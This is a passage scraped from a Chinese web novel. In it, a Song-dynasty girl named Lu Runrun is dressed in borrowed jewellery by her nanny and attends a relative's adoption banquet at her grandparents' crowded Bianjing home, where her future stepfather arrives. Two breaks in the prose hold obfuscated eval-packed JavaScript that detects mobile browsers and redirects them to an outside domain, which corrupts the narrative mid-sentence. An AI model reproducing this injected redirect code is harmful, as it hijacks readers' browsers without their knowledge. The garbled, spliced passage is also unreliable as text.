“瞧瞧,还得是你亲婆婆疼你吧?事事都给你打算好了,唉,那么好的人儿,就是太好了,连天上的神佛都喜欢,才早早召了她走……” 陈妈妈对卢闰闰祖母,只要一谈起了,溢美之词就和不要钱似的往外丢,有时候夸半个时辰也不停的。 卢闰闰都准备好了要听很久,哪知道这回陈妈妈觉得有正事,夸到一半就停了。她把那个项圈小心翼翼地从匣子里捧出来。 说是用来撑场面的,但不是玉的,也不是金的,而是银项圈,用的是缠枝牡丹的纹样雕刻,中间嵌了颗琉璃,下缀丝线串的珍珠,走动时珍珠跟随丝线轻晃。 在权贵眼中兴许平平,但在平民和那些中等人家眼中,已是好物了。 陈妈妈帮卢闰闰把项圈戴上,目光中流露出赞赏,“正好呢,和我的姐儿真配!可惜放的年岁有些久了,不免黯了色,瞅着旧了些。若是你娘早些说改日子就好了,正好叫我送去香药铺子里炸一炸,亮堂堂的更好看。” 卢闰闰站在铜镜前,看着仿佛蒙了一层昏黄光晕的自己,细细一瞧,还真有点像泛黄的宋朝仕女图里的人儿。 尤其是这缠枝牡丹银项圈一戴,丝线串的珍珠披垂在肩胛下,真真染了几分士族女子的富贵气。 卢闰闰驻足铜镜前,都还未来得及多欣赏片刻,就又被催促着换衣裳试试。 陈妈妈斗志昂扬,她进卢闰闰屋子的时候天才刚黑,等她帮卢闰闰选好衣裳却已经是夜里了。不仅如此,她还非要给衣裳熏香。家里有一个小手炉大小的薰炉,罩上薰笼,往衣裳洒了点水就开始熏。 卢闰闰不忍心看陈妈妈一个人忙活,硬是帮衬着,也忙到了很晚。 以至于她一大清早被薅起来时,还直打哈欠。 陈妈妈帮卢闰闰梳妆打扮的时候,她因为太困,没忍住打了个瞌睡,等一个迷瞪,头忽得一点,将她惊醒时,往镜子里一看。 她嘞个三清祖师爷在上,铜镜里头一片花团锦簇,哪还找得到她的脸? 她准备回头问一问陈妈妈,却觉得手上沉甸甸的,低头一看,左右两边手各戴着一件金鎏银云纹手钏,甚至手上还带了两枚錾花戒,一枚刻如意纹,一枚刻福寿纹。 卢闰闰抬起两只手,指尖自然垂着,手背朝向陈妈妈,“婆婆,不至于吧,这也太俗了,外人看到要笑的。” “笑什么?哪个敢笑你,你会来告诉婆婆,我帮你骂他去!”陈妈妈脸一板,唇一撇,看着就很能唬人。 接着,陈妈妈又宽慰起卢闰闰,她帮卢闰闰顺了顺发带,拉直衣裳的皱角,边做边道:“我们今儿去,不是为了好看,是为了场面上不输,可不能叫人看轻了,知晓不? “你啊,见了人,可不能像平日那样笑脸相迎,显得我们太软和了。学着婆婆点,对,就是这般,板着脸,眼神再凶一些,对对,先给他个下马威。你记着,这个家是你的,这宅子是你翁翁的翁翁一直传下来,传到你手上的。 “他明儿和你娘成婚,住了进来,并非你多了个爹寄人篱下,而是你好心收容了那后爹,叫他有个安身所在。 “照你那闺中好友泱泱打探的,他也就是有个官身罢了,诸科出身,还是后头几名,在汴京连个靠南熏门城墙的小宅子都买不起,穷得叮当响!哼,也不过如此嘛,是我们闰姐儿心善,肯给他一个屋头遮瓦,他修了几辈子的德,才能住在这么好的地段的宅子,光是每日上值路上的车马钱都不知省了多少呢! “要按我的意思啊,你娘那样的人品,哪能与他成婚,叫他做个接脚夫还差不多。 “但是吧,有个做官的爹,哪怕是从九品的小官,说出去也好听。将来你招赘,能选的人还可以往上提一提。唉呀,算了,也算有好处,你气势硬些,别叫人看轻便是,还是不宜太跋扈了……” 陈妈妈林林总总讲了好多,讲到最后都有点后悔了,感觉自己似乎教得太跋扈,又怕传出去显得姐儿凶悍没教养,连忙变了说辞。 她其实也不算多虑,好在卢闰闰是有现代记忆的人,不是单纯的白纸,否则照着陈妈妈这么宠溺娇惯,卢闰闰很难不养成跋扈自我的性子。 当下,卢闰闰能理解陈妈妈的担忧,所以不管陈妈妈说什么,她都一味点头,一味答应说好。 陈妈妈却还是不放心,焦急得来回踱步。 还是卢闰闰说自己饿了,才成功叫陈妈妈转了注意力。但她又一心要卢闰闰吃好,跑到两条街外给她买了她最爱吃的鹿家馒头店的瓠羹和白面包子,以及一碟姜辣萝卜。 卢闰闰熟练地把白面包子从边缘掰成两瓣,宋朝的白面包子差不多等同于现代的馒头,而宋代的各种馒头则和现代的包子定义差不多。 她把酸辣脆口,咬一口能在唇齿间迸溅出凉凉汁水的姜辣萝卜塞进白面包子里,然后咬了一大口,混着越嚼越干香的白面包子,舌头两侧尽是白面包子既绵又干实的口感,没两下就吃了半个。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506434|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >接着,用勺子舀其滚烫得冒热气的瓠羹,喝上一口,里头有切碎的瓠瓜,咬起来还保留点绵软的脆感,里面还有薄薄两小片肉,都只有拇指宽,以及一些碎得不成样的肉薄片。 入口先是烫,而后是咸香,等舌头回过味,姜汁和茱萸混杂的辣味直冲口鼻,辣辣的,但很上瘾。 这样一碗,吃完身上冒汗,很适宜冬日吃。 用完朝食也还不到走的时候,卢闰闰倒是安心地敲着棋子玩,陈妈妈焦心得不行。 她的脑海中不知把卢闰闰想得多可怜,千百次想象出卢闰闰被人家瞧不起,谭家人明着关怀暗地里逼迫的情形。 这样一想,陈妈妈的怜爱心到了极致,还巴巴给卢闰闰喂了糕点。 卢闰闰要自己吃,她还不让! 非要亲手喂。 卢闰闰知道陈妈妈的反常举动源自她对自己担忧,最后只好无奈妥协,僵硬地屈着脖子,张口咬陈妈妈递来的栗糕。 但别说,栗糕还是很好吃的。 和现代吃的加工食品有些不太一样,卢闰闰吃的这栗糕有新鲜糕点的口感,吃着略有点粗粝,而不是扎实的细腻感。 一入口栗香味就溢满唇齿,做栗糕的人没放半点面粉、米粉,只用了栗子和蜜,还能做出完好的或莲花或菊花形状,很是考验手法和经验。 而咬开后,散掉的栗糕不是湿润柔软的,是近似栗子的原味,干干的,香香的,一不小心大口了,还会有些噎人,但回味带着栗香的甘甜。 当卢闰闰把这栗糕吃完以后,昨日就雇好的小轿也到了卢家宅前。 卢闰闰顶着这一堆东西,可算能出去了。 但下木楼梯时,卢闰闰没忍住和陈妈妈闲聊,问出自己的疑问,“这枚福寿纹的錾花戒我见你戴过,这枚如意纹的怎么从来不见婆婆你戴,是何时买的?竟还买了一对金鎏银的手钏。” 陈妈妈道:“哦,如意纹的是钱家娘子的,那手钏也是她的,我问她借来戴一戴,为了借这个,我还送了她两升米呢!” “借的?”卢闰闰瞪大眼睛,惊声道:“錾花戒也就罢了,手钏若是叫我戴着不小心丢了、损坏了可怎么好说。” 陈妈妈满不在乎地摆了摆手,“也就那錾花戒是真的,你真以为那钱家娘子能多出那些闲钱置办一对金鎏银手钏不成,里头是铜!不值什么钱。她啊,也是用来撑撑场面的。你且安心带着,可别露了怯,真要是丢了,左不过婆婆帮你赔一对给她。” 成吧…… 卢闰闰心情有些复杂。 但好歹是不怕把东西弄坏了。 总之,她就这么穿金戴银地上轿了,谭贤娘还要晚她一会儿坐进轿子,因为正逢有人来寻,是四司六局的人,来请她去做席面的,但是叫谭贤娘给拒绝了。 和像招财树一样挂满了贵东西的卢闰闰不同,谭贤娘就简单梳了个包髻,带了对玉耳坠,一身体面的绸做的衣裳。 整个人看起来周身沉静,又有些不俗气质。 即便是郡夫人家的宴席,谭贤娘拒起来也是不卑不亢。那四司六局的人没法子,还想说什么,卢闰闰从轿子里探出头,喊了句,“娘,快些吧,去人家家中做客不好去迟的。” 有卢闰闰这么一句催促,四司六局的人不好再多说什么,只能一拱手说句叨扰了,然后起身离去。 等人走远些后,卢闰闰好奇问起谭贤娘为何不去,没听说南康郡夫人有什么不好的,给的工钱还很丰厚呢。 谭贤娘淡声解释,“渤海郡王妃与南康郡夫人关系不睦。” 这一句话就够卢闰闰知道怎么回事了,当初谭贤娘能在汴京扬名,全靠在渤海郡王妃的寿诞上献上了菜肴做的《辋川图》,而她也不是平白无故能进献东西的。 全靠谭家外婆与渤海郡王妃的乳母是表亲还是堂亲来着,总是沾亲带故的,时至今日,谭贤娘都得时常跟着谭家外婆去拜会那位亲戚,送些礼。 眼看这事了了,谭贤娘便坐上轿子。 陈妈妈站在门外目送二人,看着脚夫抬轿子快要出了巷子。 忽然,她追了上去,边追边道:“姐儿,姐儿……” 脚夫停下轿子,陈妈妈顾不得气喘吁吁,一手按着肚子,一手掀起轿帘,“姐儿,婆婆陪你去吧。” 她一脸的忧心,真去了还得了,到时谭家但凡多逼卢闰闰一句,她怕是都能站出来吵一场。 卢闰闰握住陈妈妈的手,笑语嫣然地宽慰,“我出去又不做什么,是去外翁家做客呢,婆婆在家里等着我,回来的路上不是要经过马行街码?我给你带你最爱的洗手蟹可好?” 卢闰闰双手捧着陈妈妈的手,轻声与她说话,叫她安心。 陈妈妈也知道个中道理,她纵然不放心,还是松手叫轿子走了。 汴京的脚夫们许是能吃得饱,一个个都走得又快又稳,轿子很快就被抬出去很远,出了巷子,过了一条又一条街,到了人声鼎沸的虹桥,过了熙熙攘攘的马行街。 卢闰闰一时有些安静。 忽然,一双略有些凉的手覆盖在了她的手上。 卢闰闰抬头一看,是她娘。 谭贤娘没多说什么,也没露出什么关怀忧切的神情,她的声音和她的性子一样沉静,“我在这世上若有最珍爱的人,只会是你,任何人都不能动摇。” 16. 做客 谭贤娘不善言语,更从不曾像陈妈妈那样,亲亲热热地抱着卢闰闰说些推心置腹的话。 不喊卢闰闰心肝、乖乖儿,但她对卢闰闰的母爱,从来都是毋庸置疑的。 卢闰闰扬起一个笑容,真切、明媚,眼睛里有光采,“我知道!” 当一个母亲爱着她的孩子,她的孩子又岂会一无所觉? 无声的、沉默的爱,并不是能用来偷懒的借口,真正的爱,是会被感知的。 在无言却温馨的氛围中,时光流逝得很快,似乎片刻间就到了谭家外翁的宅子前,轿子稳稳当当落下。 因是前来谭家吃谭闻相过继进谭家认亲的席面,即便只是借着这个名目,但是礼数不能有缺,谭贤娘还是备了礼的,一盒是遇仙正店的点心,虽说她自己就是汴京有名的厨娘,但送礼比起自己做的到底还是大正店买的点心让人觉得值钱也郑重一些。 谭贤娘不是刚愎自用的人,她对自家二嫂显然很了解,才特地买的点心。 不仅如此,还有一匹品质无暇的浙绢。这既可以用来做衣裳,若手头缺银钱,也可以用来典卖。有时朝廷也会用绢帛来抵官员的俸禄。 卢闰闰记得她娘带的这匹浙绢是上等绢,花了一贯三百五十文买的。 这可不算少了,都快能抵上她家一间屋子一个月的掠房钱。 轿外的唤儿等轿子一落稳,就将轿子里的礼给提了起来,跟在二人的身后。 雇轿子的钱是昨儿就给好了的,给了车马行,毕竟出来做客,在人家门前拎着荷包挨个数铜钱多少有些不好看。 谭家的宅子没有卢家的大,巷子更没有卢家所在的巷子规整,打眼一看,许多人家偷着往外多盖个草棚,建个小茅屋什么的,多少有些不齐整。但因此做买卖的人多了,街角还有许多担着竹篮子叫卖瓜果蔬菜的,各处都是人气,便显得热闹。 然而也有弊处,做什么买卖的都有,味道混在一块,杂了些,闻着混浊。 谭家住的就是个用墙围起来的小宅子,里面大的小的算上灶房和耳房,拢共才六七间房。谭贤娘出嫁前住的屋子早被移作他用,如今收拾出来给谭闻相住。 但说起来,谭家住得也算好了,自己家独一个院子,还有一口井,只是不知道是先有的宅子再打的井,还是先有的井再在上头围起来盖了个宅子。 而像同一条巷子里住的好些邻里,屋子就是屋子,彼此相邻,压根没有什么院子正门的说法。甚至就连挑水都得去两条巷子外挑,若想图轻省,到谭家打水,谭二舅母嫁进来几年后就开始要收钱,本想图个进项,哪知道邻居们不依了,闹了好一场。 说从前几十年都不要钱,怎么如今就收钱了呢? 谭家二舅父性子懦弱,什么都听谭二舅母的,至于谭家两个老人俱是装聋作哑,只叫谭二舅母在外与人争口舌。 最后连远在边关的谭大舅父都知道了,去信一封,严令不许家里在这上面收钱,每月又多寄了些俸禄,这事才作罢。 不过嘛……大舅父有他的严令,二舅母自也有她的对策。 * 因着宅子里时常进人,家里又有主事的人,不像卢家一门妇孺老弱,故而门一直开着。 卢闰闰下轿子时,正好能看到有两个邻里在里面打水。 一个先来,一个后到。 谭二舅母对那个先来的鼻子不是鼻子,眼睛不是眼睛,一会儿撇嘴,一会儿斜眼哼唧,嘴里还道:“有些人呐,真是没眼色,一点礼数也不懂。” 而对那个后到的,几乎是一看着就笑容满面,直接把人拉着到井边,挤开先来的那个,让后到的先打水。 后到的那位面皮薄,推脱了两句。 谭二舅母直接拎起打水的木桶就连着绳子递到她手里,跟着亲亲热热地挽着人家的手臂道:“你上回给我送的莲蓬,里头的莲子新鲜白嫩,可真好吃,我家哥儿喜欢得很呢!” 汴京多河,又逢夏日,莲蓬其实不值几个钱,但谭二舅母就是这个性儿,只要能占些便宜,莫管多少,心里总归舒坦些。 谭二舅母其实已经听见门外的动静,她了了这一桩官司以后,便脚下生风,迎到门外。 待她看清唤儿手上拎的遇仙正店的点心盒子,以及那匹浙绢后,脸上的三分客气就变作十分热情,“来啦?我想你们就是这个时辰到,早早就候在门前等了,哪知道正遇上邻里来打水。 “来来来,快些进来。” 谭二舅母说话间,就凑到了唤儿身边,直接把东西给接了过去,笑得比花还灿烂,喜滋滋道:“来就来,还带什么东西! “唷,这是浙绢吧?前年开封府卖染了渍污的浙绢,倒是比平日便宜了两三百文,奈何去买的人太多了,你二哥做事慢手慢脚的,等我俩到的时候,早卖空了。” 谭二舅母越说越高兴,把人往正堂的那间屋里迎。 中间,她还不忘给那个先来打水的邻居翻了一个白眼。 说是正堂,其实并不气派,也不能说宽敞。进门先看见中间供着的两个牌位,是卢闰闰外翁的爹娘,貌似边上还供了姜太公。 之所以说貌似,是因为没有看到神位,就是贴了个符纸,然后边上还有段话。 “姜太公在此百无禁忌” 而供桌上摆了盘梨作为供果,那梨瞧着还挺新鲜的,上回卢闰闰来外翁家,当时供的是橙,那橙的皮都有些缩了,他们还舍不得换新贡品,把旧的拿下来吃。想来是今日有喜事,才特地连供果也换了新鲜的。 供桌两边靠墙的地方摆了几张椅子,谭二舅母说早早准备应该是真话,因为地上还有点濡湿,墙边的椅子明显摆正了,看着是仔细洒扫过了。 中间摆的吃饭的八仙桌也擦得锃亮,虽然边缘已经有些掉漆。 即便如此,正堂仍然显得不够宽敞亮堂。因为墙上还是挂了许多杂物,虽说谭家不做农活,没有什么锄头柴刀要放,但蓑衣斗笠之类的雨具,还有什么乱七八糟的绳子都挂在墙上头。 这也没法子,谭家屋子少,没有专门的库房,只好东塞一点西挤一些。 卢闰闰被招呼着坐下,谭二舅母还给她塞了个梨子。 她低头一瞧。 嗯,原来被替换供果到了自己手上。 这梨一看就放了很久了,梗完全黑了,一点黄不见,就连梨最顶上的那层皮也有点皱。但她还算运气好的,她娘手上的那颗…… 转过梨身一看,有一个指甲盖大小的黑块。 于是,她娘就把那梨推回去了。 但她也不知是运气太好,还是不好,手上的梨子看着很完好,寻不出借口。 她只好讪笑一声,谢过二舅母,然后用袖口擦了擦梨身,接着嗷地咬了一大口。 别说,放久了竟还挺甜。 卢闰闰又嘎吱咬了一口,坐着也是无聊,她目光随意巡视着打量正堂。 没什么太大变化,门后面的角落还摞着桌腿和桌架,想来是等一会儿用饭的时候再搭起来的。 而等候间,谭贤娘问起谭二舅母爹娘都去哪了。 卢闰闰边啃梨子边支起耳朵听。 “哦,他们呀,在后门看着雇工做活呢。这不是后门那的一片地本来也是咱们家的吗?以往种了几棵树,除了便宜外人遮阴乘凉,被巷子里那些顽童偷摘果子,也没叫我们家落什么好。家里住的屋子少,阿舅心里一直悬着这事,想扩盖几间屋子不是一日两日了。正好翰哥儿要回来住,阿舅这才定下心去盖。 “你怕还不知道吧,前日大哥才送信回来,说要送翰哥儿回汴京读书,想叫他去考国子监下辖的四门学。四门学八品以下及庶人子弟都能考,只是吧,不是我看轻,你说说,翰哥儿在边关长大,那偏远之地的学塾如何能和汴京比?在那拔尖,可不意味着回汴京也一样。这要是考不上可如何是好? “诶!可不是我这个做叔母的小气不容人。大张旗鼓地回来,考不上不正是丢人吗?” 谭二舅母不算心机深沉的人,当着翰哥儿亲姑母的面就抱怨起来,好在还知道欲盖弥彰掩饰两句。她许是有些心虚,忙不迭切换正题,“阿舅舍不得委屈了翰哥儿,这两日便请人把后面的树砍了,预备再盖三间屋子。 “唉,扩几间屋子原是好事,发扬家业嘛,但如今汴京什么都一日日地贵了,我家还要再养个哥儿呢,如今真真是钱囊比牙干净。” 谭二舅母说着,就开始像模像样地长吁短叹了。 卢闰闰心道果然如此,她利索地把最后一口梨肉啃干净,抽出帕子擦手,边擦边起身,硬是挤到二人中间。 “娘,你不去寻外翁外婆吗?” 母女俩默契十足,谭贤娘对过眼,立刻领会了她的意思,就说要去后面看看爹娘。 谭二舅母不死心地跟上去,说后面昨日刚砍完的树,乱糟糟的,不要过去为好。 谭贤娘自然不会听她的。 眼看着娘已经走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这样一个小萝卜头,对着比他高出许多的卢闰闰,还是一副耀武扬威的气派姿态。他捻起盘子里的一块糕点,从卢闰闰的面前晃着过去,然后放到自己鼻子前用力一吸,露出陶醉的神情。 接着,他咬了一口,边吃边发出声音,吃得很香的样子。 卢闰闰双手交叉在胸前,眯眼微笑着看他耍把戏。 果然,见卢闰闰没反应,他自己先按捺不住了,挺着胸脯骄傲道:“这是婆婆给我买的糕点,往后我就是唯一在翁翁婆婆膝下长大的孙子,他们只爱我,好东西都给我吃。 “哼,谁叫你上回掐我的脸,我偏不分给你。眼馋吧,略略略!” 这话一听就是有人在他耳边念叨的,叫他记住了,在人前有样学样的说。 卢闰闰似笑非笑,“是吗?” 正好这时谭家外翁外婆从小门进来,谭家外婆说要去买几个包子给做工的人吃,谭贤娘说让唤儿去买就成了。 看着他们走近,卢闰闰忽而摸着肚子,做出有些饿的样子。 接着,她又放下手,喊人道:“外翁!外婆!” 谭外翁颔首。 谭外婆一见到卢闰闰就高兴地笑。 “我们闰闰来啦,想不想外婆?是饿了吧?” 卢闰闰乖巧道:“无妨的,闰闰不饿,忍一会儿就吃席了。” “好孩子。”谭家外婆听了,真真是喜欢心疼她到仿佛心窝都被烫出一块来,走过去拉着她的手,摸摸她的脸,“宴席还要等一两个时辰呢,哪能一直饿着啊?告诉我,你想吃什么,我给你买。” 也许在卢闰闰和谭贤娘里,她更爱自己的女儿,但若要说偏私,守寡女儿的独女,兴许是后半辈子唯一的指望,她对卢闰闰从小也是当心肝一样疼爱的。 卢闰闰假作为难,最后拗不过道:“好久没吃燠鸭了。” 谭家外婆立刻道:“这有什么难的,外婆给你买!” 说着,她就从荷包里掏钱给唤儿,一边掏,一边不忘叮嘱唤儿要去哪家买,还说要挑烤得焦一些的,闰闰爱吃那个味道。 卢闰闰垂下头,与谭闻相对视,这时谭闻相已经不觉得手里的点心好吃了,他不忙着嚼点心,只看看卢闰闰,想想燠鸭,再看看手里的点心,顿觉索然无味。 卢闰闰微微一笑。 谭闻相泫然欲泣。 17. 后爹 失落的谭闻相丢下一碟子点心,跑掉了。 长辈们都不知道他怎么了,卢闰闰也跟着目露迷茫,佯作不知,深藏功与名。 谭家外婆一脸担忧,“是不是人多吓着了?” 她似乎想到什么,犹豫着说,“要不先别赶着建后头的屋子?停一日吧。今儿是相哥儿的认亲宴,还是安静些好。” 但谭家阿翁一个眼神过去,板着脸,不怒自威,“胡说,哪来那么多门道,今早土地公不是拜过才开始做活的吗?你若真是闲不住,就多拜拜先祖,讲这些做什么? “还停一日两日,你说得倒是容易,翰哥儿回来住哪?营儿定是要送他回来的,若是营儿媳妇也跟着回来,家里哪住得下?要叫翰哥儿住那间用来沐浴的耳房不成?他是回来读书考学的,委屈了谁都成,断不能委屈了他。” 营儿就是谭大舅父谭营。 而谭大舅父有两个儿子,谭闻翰是小儿子,和卢闰闰差不多大。 按谭家阿翁封建的观念,本来更应该喜欢长孙,但谭闻翰却从小天资聪颖,说话早,走路早,读书也比人家开窍早,是谭家阿翁眼里能振兴门楣的好孙辈。 当然了,谭闻翰从小跟着谭大舅父在边关长大,论起教养的功劳,也和谭家阿翁没什么干系。 谭家外翁这样一说,谭家外婆自然不敢吭声。 而话落到谭二舅母耳朵里,就又变了个意思,觉得是意有所指,拐着弯说她的儿子比不上谭闻翰还占着好屋子。 但谭家外翁在这个家里一向有威严,她还得指望他把谭大舅父送回来的俸禄拿出来些贴补家里,故而谭二舅母只是面露不忿,撇了撇嘴,却不敢多说什么。 最后是一惯不爱多说话的谭贤娘站出来,她蹙了蹙细长的眉,依旧白皙秀美的面庞上流露出些不耐,“好了,说这么多做什么?既是请人来做客,哪有自己家里人一早吵起来的道理,一会儿亲戚们来了,你们还有什么面子。” 别看谭贤娘面容生得斯文,但她从小是个犟的,顶顶要强的人。如今名义上是其他家的人,还能挣钱,经常贴补娘家,腰杆子硬得很,她一开口,谭家外翁也就不再说什么。 卢闰闰看氛围有些僵,长辈们有些时候不好低头,就要靠她这样没干系的小辈递台阶,松松气氛。 这里头,小辈除了她也没谁了。 好在卢闰闰本就不是个性子沉静害羞的,她完全不惧不紧张。 只见她故意动作大了几分,环视四周,而后咦了一声,状似疑惑,“今日不是要吃宴席吗?怎么没见瓜果蔬食,也不见有人准备?” 谭家外婆立刻笑吟吟接道:“我们闰姐儿可是怕吃不到席?不会的,今早你二舅父就去街口和那做索唤的闲汉说了,让他给咱家去坊市前的那家正店带两桌席面,等晚些时候就会送来了。” 坊市前的正店? 卢闰闰没什么印象,但也正常。 汴京有七十二家正店,数千脚店,但正店只意味着有自己购买酒曲酿酒买卖的权力,并不代表所有正店都比脚店大,有一些正店店小不出名,一些脚店却开得很大,比如曹门砖筒李家、保康门李庆家等,美食佳肴都很出名。 但卢闰闰不会傻到说自己没听过,她就笑,就恭维,“今日能吃上正店的席面,想来是有口福了呢。也不知都有些什么?” 她这话说出来,众人只要就着席面谈下去就成,气氛自然松快了。 不消多时,唤儿也回来了。 她买了许多包子,还拎了个食盒回来。 “这食盒是李家燠食店借的,说是等吃完了还回去就成。”唤儿一五一十地交代。 谭二舅母见燠鸭回来了,也顾不得闲聊,忙不迭把躲在屋里的谭闻相给拉了出来,生怕他没吃到,自己家吃了亏。 论理是该先分给谭家外翁的,但他虽封建,看着不好相处,这点上却是好的,有什么好东西都紧着儿孙,自己并不争抢,不会觉得儿孙多吃一口就怎么他了一样。 于是当大家把燠鸭上的腿掰下来放到盘里递给他的时候,他说不饿,不肯吃。 而递到谭家外婆时,她也是推脱,最后只吃了点燠鸭肋肉。 到最后,谭闻相分得了一个燠鸭腿肉,还有一个自然是给到了卢闰闰手上。 谭闻相从前在家里是小儿子,家里能温饱,对他也不错,不曾饿到他,但只是郊县里的农家,想要像在汴京这样一出门就能吃上好东西还是难的。 所以一拿到手,他就迫不及待地大快朵颐,吃得鼻子上都是油。 而分到卢闰闰的手上时,她却不着急吃,而是撕了一块递到谭家外婆嘴边,笑得和煦,语气诚朴,“这儿肉嫩,您尝尝。” 多贴心啊! 谭家外婆不贪这一口,可被人惦记着,心里就是舒服,熨帖极了。 她象征性地咬了下,夸好吃,也夸闰闰知道疼外婆。 把手里的燠鸭腿啃了一半,吃得满脸狼藉的谭闻相见状停了停,保持着原来的姿势,黑亮的眼睛发滞,愣住了。 虽然燠鸭还是很香,但总觉得不大得劲。 他小小的脑子里,还不知道人情世故,只是隐约察觉了些什么,顿觉食不知味了。 正巧这时又来了两个亲戚,谭家外翁外婆迎上去寒暄,谭家外婆忍不住把这事说了,众人一块夸起卢闰闰来。一时间,小小的院子里热闹极了。 卢闰闰则开始慢悠悠地咬燠鸭,面对谭闻相的目光,她也是浅然一笑,怎么看都是和煦善良得很。 谭闻相却不肯和她对视,偷偷跑到谭二舅母身边,只敢悄然歪着脑袋偷看她。 纵然他还小,也已经察觉出这个姐姐不是表明看着那么人畜无害好说话的,看似笑面迎人,说话也特别好听,实际上可记仇了。 他默默记住,卢家的姐姐不好惹,还是小心眼。 千万不能欺负她! 还不知道谭闻相已经暗下决心的卢闰闰正继续吃着燠鸭腿。 真别说,虽然先头是为了气一气谭闻相,但她也的确惦记着外翁家附近的燠鸭,做的是真好吃。 燠鸭是在灰火中烤制的鸭,经过烤制,鸭皮被熏黑熏皱,而鸭腿骨头上方肉少的地方,很容易被烤酥,鸭油和腌料浸进肉里,咬开以后,扯出的鸭肉丝颜色都是黑的,那是极入味的表现,又酥脆又咸香,甚至令人忍不住吮吮骨头,也很香很有味道。 而外翁家边上的李家燠鸭烤制用的是果木,在烟熏的口感中,还有果木的清香,不是单纯的烟熏火燎味,滋味要比别家丰富多了。 吃完以后,谭贤娘带她去灶房,从缸里舀了一勺水帮她洗净手。 谭家没有肥皂团,只能用皂角里的皂豆搓一搓,再淋水,把手上的油给带走。 谭贤娘拿着葫芦瓢慢慢倾斜倒水,清寂平静的眉目间露出些许犹豫,“一会儿……你……” 她想叮嘱女儿些什么,但想到卢闰闰一惯对交际往来的事游刃有余,又抿唇不语,最后她道:“好了,干净了。” 卢闰闰甩甩手上的水渍,然后小心地跨过地上的那一大滩水,谭家灶房里的地是用土垒平的,沾了水很容易踩滑弄脏。 明明感觉进去洗手只是一会儿的功夫,但出来的时候,一瞬间从灶房的阴凉安静,变成吵闹繁杂,日头也开始展现它的威力,曝晒着每一寸土地。 乍暗乍亮,卢闰闰下意识眯了下眼睛。 等她睁开眼,面前就多了两位不怎么认得的女性亲戚,拉着她的手说她如今长得真高,又问她认不认得人? 卢闰闰完全不怯,她大大方方地笑着,说眼熟。 她甚至能反客为主,拉着人打量,夸人家比之前见着更有气色了,又说这衣裳是哪的料子,真好看云云。 只要卢闰闰想,她一张嘴就能把人哄得不知南北,笑得花枝乱颤,高兴得不行。 与她相比,今儿宴席的主要人物谭闻相就显得可怜了些。 他倒是众星捧月了,但一群人围着他,七嘴八舌地问着,一会儿又故意问点促狭的话逗弄他,弄得他手足无措,急得一脑门汗,胖乎乎的脸颊肉通红,话也说不出来了,支支吾吾地,局促极了。 他隔着一群人的间隙,瞥见谈笑风生的卢闰闰,这下是真佩服了。 她是怎么能这么自在的? 他不知道,这个是天生的,一般人学不来。 * 因着人渐渐多了,女眷们就进屋,男客坐在院子里。好在院子里一个一人长的大木桩子,边角被打磨过,看着像是把木桩横劈两半后的样子,不用愁没地坐。 就是不知当初是怎么把这木桩子搬进来的。 卢闰闰坐在阴凉的正堂里,边磕炒松子,边瞎想。 正堂里的女眷们正说的热火朝天,盖因有个人讲起了另一个亲戚家里的事,说是媒人来说过亲了,两家父母都满意得很,只等着男女相看了。谁知相看那日,男家 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旁的小娘子听见自己的婚事在人前辈谈论,怕是得羞红了脸,躲进阿娘的怀里。 卢闰闰没有,她坦荡且傲然道:“我是只招赘的!” 谭家外婆坐在折背样上,亲昵地揽住卢闰闰的腰,抬头举手点了点她的鼻子,笑道:“不知羞,快躲进去,哪能在人前说这些?” 她说归说,语气却很轻松。 众人多是市井门户,还有抛头露面做买卖的呢,私底下没有那么多讲究。 谭二舅母也帮腔,“我这外甥女儿人伶俐,生得也出挑,家里又有那么大的宅子住着,阖该是要招赘的!谁去了她家,那也是享福不是?” 众人皆笑了。 谭贤娘放下茶碗,淡笑说不急。 一个个又不是没眼色的,人家都说不急了,哪还有追着问的道理。 这事也就过去了。 又开始说起别的事来。 * 说说笑笑间,很快就到了吃宴席的时候。 有男客帮着把院子里的桌子架起来,谭二舅母和谭家外婆摆了碗筷,看着倒是像模像样,就是日头毒了些。 隔着堵墙都能听见谭二舅母在骂谭二舅父,她嗓门实在大了些。 骂他不知早打算,现下去寻遮阳的棚子跟绳,得寻到什么时候?等口渴了才想起来挖井!这么多亲戚只等着叫人看笑话。 好在最后还是将遮阳的棚子绑上去了,是邻里看不过去主动借的,还帮着一块绑好。 这时候,叫的索唤也来了。 索唤一般不会只接一家,往往是好几家一块,有的都点的同一家酒楼,有的不是,他提着两个半人高的大食盒,赶得满头满脸都是汗。 装菜肴跟酒水的碗碟酒壶都是酒楼的,等用完了第二日送回去便可。 在这些事上,汴京的酒楼显得很大气。哪怕是只吃过三四回饭的客人,酒楼也敢把银制的碗碟酒杯借出去给客人撑场面,丝毫不怕他们不还。 眼看客渐渐到齐,可有一位极紧要的客人,迟迟未至,可把谭二舅父急得不行,站在门前垫脚往远处瞧。 好在人赶在开席前到了。 “卢贤弟啊,怎么才来?”谭二舅父一擦脸上的汗,抓起他的手便要引他入座。 而卢举身后还跟着几个搬东西的脚夫,他站着没走,叫脚夫将东西放下,“这是我送的一点贺礼。他便是相儿吧?真是眉眼灵秀聪慧。” 谭二舅父见送了贺礼,忙推辞。 卢举则道:“一点薄礼而已,取个好意头。将来这孩子必定如这文竹一般清白正直,有绝不折节的君子品行。” 二人说的正欢,屋里坐的卢闰闰悄然竖起耳朵听。 她一直注意着外头,卢举一到她就察觉了。 听见他送了几盆文竹作为贺礼,卢闰闰抿了抿唇,脸上没什么表情,心里只觉得一般,无功无过的礼。 瞧不出与旁人有什么不同。 